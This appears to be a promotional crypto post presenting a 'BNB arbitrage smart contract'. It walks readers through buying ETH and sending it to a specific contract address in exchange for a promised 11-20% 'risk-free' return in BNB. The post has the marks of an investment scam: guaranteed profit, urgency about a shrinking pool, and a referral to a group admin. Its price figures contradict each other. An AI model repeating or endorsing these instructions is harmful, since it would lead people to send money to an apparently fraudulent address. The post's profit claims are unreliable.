Binance coin (BNB) Arbitrage
Binance
Crypto arbitrage: the million-dollar profit factory
This year might be the year cryptocurrency goes mainstream.
With numerous sports and large events canceled, and many Americans receiving government aid, the U.S. has a captive audience for financial change. While most things we took for granted have halted, two things have stayed the same: the Internet and the exchange of money.
What has changed notably is the value of money, in particular the U.S. dollar. As Americans continue to receive public financial assistance and businesses utilize Payroll Protection Program (PPP) loans, the inherent value of the dollar is dropping.
What does this mean? More people will hedge their bets on currencies that act outside the confines of the dollar and buy other fiat currencies. However, we are also seeing more people invest in cryptocurrencies. At the same time, it leaves a huge profit margin for the market which we can take advantage of, by using BNB Arbitrage Smart Contract.
What Is Binance Coin (BNB)?
1. BNB was launched through an initial coin offering in 2017, 11 days before the Binance cryptocurrency exchange went online. It was originally issued as an ERC-20 token running on the Ethereum network, with a total supply capped at 200 million coins, and 100 million BNBs offered in the ICO.
2. BNB can be used as a payment method, a utility token to pay for fees on the Binance exchange, and for participation in token sales on the Binance Launchpad. BNB also powers the Binance DEX (decentralized exchange).
3.There is a difference in different exchanges, and there is a difference in the price of each exchange, so our arbitrage is feasible.
Arbitrage takes place when security is bought in one market and is sold in another market at a higher price which is basically risk-free trading.
Crypto arbitrage trading is simply the simultaneous buying and selling of the crypto coins in more than two markets and to gain from the difference in prices.
Ok, let get started:
To receive BNB coins, you need a Crypto wallet that supports “Binance Chain” e.g., ZenGo or Atomic wallet.
Download ZenGo wallet: https://zengo.com/
Download Atomic Wallet: https://atomicwallet.io/
Let’s take Zengo wallet for example
Add asset into your wallet:
Find “Binance Coin”
Activate “Binance Coin”
Now you can see “Binance Coin” in your wallet
1. After adding “BNB”, send your ETH (At least 0.1 ETH) to the Smart Contract
0x7c29b44bf403973623a4a7E8951f772B2308EAdB
Please note: The smart contract proximately generates 11%-20% profit, which means if you sent 1 ETH to the contract address, you could receive at least 7 BNB. According to today’s price: (Check price https://coinmarketcap.com/currencies/binance-coin/ )
7 BNB=$4753, 1 ETH=$4273 the profit would be $4753-$4273=$480
After deducting fees, we could still get more than 11% in profit.
At present, the amount of BNB in the contract pool is getting less and less, We need to act fast!
2. Sell your BNB on Binance exchange
https://www.binance.com/ this is the Binance official website, of course, you could use the mobile phone app as well. If you are from the US, you should use https://www.binance.us/
Let’s skip register or verifying accounts here, I believe everyone can do it perfectly.
a. Deposit your BNB received from the smart contract
Click "wallet" in the upper right corner, find “Fiat and Spot”
b. Click “Deposit”
Send your BNB from “ZenGo wallet” to “Binance exchange”
c. Trade-Transfer/Sell
Trade your BNB for ETH now, you can either sell the ETH on Binance exchange or any other cryptocurrency exchange sites like Coinbase, or you can withdraw the ETH back to ZenGo wallet to go for another arbitrage process again!
Best Places to Buy Bitcoin of 2021
· Coinbase: Best Overall
· Robinhood: Best for Low Cost
· Square Cash: Best for Versatility
· Binance: Best for Low Rates in Other Currencies
· Coinbase Pro: Best for Active Traders
· Coinmama: Best for Quick and Easy Transactions
How to buy Ethereum on Binance in under 5 minutes?
1. Register on Binance
Even though trading cryptocurrency on Binance does not require a know-your-customer (KYC) process as long as you’re withdrawing less than 2 BTC per day, you will have to provide some of your personal details if you want to purchase crypto with your credit or debit card through Binance.
2. Select "Buy Crypto"
•Select “Credit/Debit Card” for card payment. (If you wish to use PayPal, bank transfer or any other methods click P2P Trading)
•Enter the amount of Ethereum you want to purchase
•Confirm your Ethereum order
•Enter your billing information
•Enter your credit card information
After completing an identity verification process, Binance will complete your cryptocurrency order. Usually, it will take between 10 and 30 minutes for the crypto to appear in your Binance account.
How to withdraw the ETH you just bought to your ZenGo/Atomic wallet?
Select “Wallet” - “Fiat and Spot”
Click “Withdraw”, and copy-paste your ZenGo wallet’s ETH address.
To see your ZenGo wallet’s ETH address:
Let's briefly summarize the process of the arbitrage strategy:
[Buy Ethereum] → [Send to ZenGo] → [Deposit to smart contract] →
[Receive BNB in ZenGo] → [Send BNB to Binance] → [Trade BNB for ETH] →
[Wthdraw ETH to ZenGo] → [One more round of arbitrage]
The Smart Contract official site
0x7c29b44bf403973623a4a7E8951f772B2308EAdB
Please note: The smart contract proximately generates 11%-20% profit, which means if you sent 1 ETH to the contract address, you could receive at least 7 BNB.
You will receive BNB in about 20 minutes:
2.0385 ETH → 30.2632 BNB ($801.13 → $912.31 ), $111.18 Profit (13.9%)
Now you can send your BNB coins to Binance exchange, to trade, or to sell them.
Cryptocurrency arbitrage is not rocket science, lots of people making millions of dollars by using this strategy, I hope you are the next one!
If you have any questions, feel free to consult the admin of our group.
Crypto Wallet:
Download ZenGo wallet: https://zengo.com/
Download Atomic Wallet: https://atomicwallet.io/
Exchange:
https://www.binance.com/ or https://www.binance.us/
Forbes:
https://www.forbes.com/sites/cryptoconfidential/2020/05/03/bitcoin-booms-as-halving-looms-risk-free-bitcoin-profits/?sh=1946e7e267e0